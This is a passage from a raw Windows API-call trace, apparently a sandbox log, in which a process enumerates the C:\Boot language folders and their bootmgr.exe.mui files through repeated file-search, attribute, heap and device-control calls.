ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.054] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.054] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9843e0 [0139.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984ca8 [0139.054] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xc0) returned 0x983f40 [0139.054] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f830) returned 1 [0139.054] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.054] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.054] GetLastError () returned 0x12 [0139.054] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0139.054] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.054] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.054] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.054] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.054] GetLastError () returned 0x12 [0139.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0139.055] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0139.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0139.055] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.055] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0139.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.055] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.090] CreateFileW (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0139.090] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0139.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.090] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0139.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.090] NtClose (Handle=0x194) returned 0x0 [0139.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0139.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0139.090] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0139.090] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.090] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.090] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.090] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984400 [0139.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f830 [0139.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.091] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.091] GetLastError () returned 0x12 [0139.091] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0139.091] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.091] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.091] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.091] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.091] GetLastError () returned 0x12 [0139.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0139.091] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0139.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0139.091] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.091] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0139.091] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.091] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.155] CreateFileW (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0139.155] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0139.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.156] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0139.156] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.156] NtClose (Handle=0x15c) returned 0x0 [0139.156] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0139.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0139.156] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0139.156] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.156] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.156] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.156] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984420 [0139.156] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984d30 [0139.156] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.156] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.156] GetLastError () returned 0x12 [0139.156] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0139.157] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.157] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.157] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.157] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.157] GetLastError () returned 0x12 [0139.157] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0139.157] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0139.157] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0139.157] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.157] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0139.157] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.157] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0139.279] CreateFileW (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0139.279] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0139.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0139.279] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0139.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0139.279] NtClose (Handle=0x194) returned 0x0 [0139.279] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0139.279] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0139.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0139.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0139.280] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0139.280] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.280] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0139.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0139.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x984440 [0139.280] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984db8 [0139.280] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0139.280] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0139.280] GetLastError () returned 0x12 [0139.280] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0139.280] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0139.280] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.346] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, 